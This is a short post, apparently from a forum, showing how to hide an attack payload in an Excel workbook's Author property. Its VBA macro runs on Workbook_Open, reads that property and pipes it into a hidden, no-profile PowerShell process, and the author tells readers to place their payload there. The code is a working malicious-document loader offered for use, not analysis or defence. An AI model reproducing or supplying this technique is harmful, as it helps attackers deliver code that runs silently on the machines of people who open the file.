File metadata

I haven't researched how to do this in c++, but you can use file properties in a macro to hide your payload. This one gets the payload in the author property.
Private Sub Workbook_Open()
Dim author As String
author = ActiveWorkbook.BuiltinDocumentProperties("Author")
Dim ws As Object
Set ws = CreateObject("WScript.Shell")
With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -")
.StdIn.WriteLine author
.StdIn.WriteBlankLines 1
End With
End Sub
Make sure to manually place your payload in the Author property.